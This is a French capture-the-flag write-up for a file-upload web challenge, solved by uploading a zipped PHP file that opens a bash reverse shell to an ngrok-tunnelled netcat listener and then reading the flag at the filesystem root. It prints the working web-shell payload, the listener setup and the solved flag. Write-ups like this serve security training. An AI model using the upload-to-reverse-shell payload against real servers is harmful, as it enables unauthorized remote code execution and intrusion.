File Upload (Medium)

Consignes

Le flag se trouve à€ la racine !

Réalisation

Ce challenge nous demande de lui envoyer un fichier zip. Pour se faire, créer un dossier /test dans lequel on met un fichier nommé NotAFlag.txt avec le contenu suivant : 3700{00p5_175_n07_4_fl46} On zip ensuite ce dossier :

$ zip text.zip test
  adding: test/ (stored 0%)

$ ls
test  text.zip

Une fois le dossier en .zip , on l'upload sur le site :

On observe que le site unzip notre dossier et extrait le contenu dans le répertoire /tmp/upload/.

On accède au lien donné par le site, cependant, il ne prends en compte uniquement le dossier présent dans le .zip mais pas son contenu. On fais donc un nouveau zip avec cette fois-ci uniquement le fichier NotAFlag.txt à l'intérieur :

$ zip text.zip NotAFlag.txt 
  adding: NotAFlag.txt (stored 0%)
  
$ ls
NotAFlag.txt  text.zip

On fourni donc le nouveau dossier .zip au site WEB :

On accède ensuite au lien fourni par le serveur. Ce dernier à bien pris en compte notre fichier que nous pouvons consulter :

On a maintenant réaliser un reverse shell. Pour se faire, lancer dans un terminal ngrok sur le port 4444 :

$ ngrok tcp 4444

ngrok                                                                                   (Ctrl+C to quit)
                                                                                                        
đŸ«¶ Using ngrok for OSS? Request a community license: https://ngrok.com/r/oss                            
                                                                                                        
Session Status                online                                                                    
Account                       xxxxxxxxxxx@gmail.com (Plan: Free)                                        
Update                        update available (version 3.22.1, Ctrl-U to update)                       
Version                       3.21.0                                                                    
Region                        Europe (eu)                                                               
Latency                       23ms                                                                      
Web Interface                 http://127.0.0.1:4040                                                     
Forwarding                    tcp://7.tcp.eu.ngrok.io:16675 -> localhost:4444                           
                                                                                                        
Connections                   ttl     opn     rt1     rt5     p50     p90                               
                              0       1       0.00    0.00    0.00    0.00  

Adresse : 7.tcp.eu.ngrok.io

Port : 16675

Lancer dans un second terminal netcat en Ă©coute sur mĂªme port que ngrok (ici, 4444) :

$ nc -lvnp 4444 

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

On réalise maintenant un fichier shell.php à l'aide de l'adresse et du port fourni par ngrok :

<?php
shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/16675 0>&1'");
?>

On créer le dossier payload.zip en y incluant notre fichier shell.php :

$ zip payload.zip shell.php 
  adding: shell.php (deflated 5%)
  
$ ls
payload.zip  shell.php

On ajoute ensuite le dossier payload.zip sur le site WEB :

On accède au lien fourni par le site web et cliquons sur notre fichier shell.php :

Une fois le fichier shell.php sélectionné, une connexion est bien établie avec notre netcat :

$ nc -lvnp 4444 

Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from ::1.
Ncat: Connection from ::1:37324.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$

On se rend donc Ă  la racine de la machine comme nous indique les consignes du challenge pour y trouver le FLAG :

www-data@63d3c3d41b84:/var/www/html/tmp/upload/681dac56ec2b65.29298432$ cd /
www-data@63d3c3d41b84:/$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

www-data@63d3c3d41b84:/$ cat flag.txt
2600{0dcO5lTnQZrpX4BKGcjClQ}

On obtient donc le FLAG :

2600{0dcO5lTnQZrpX4BKGcjClQ}

Last updated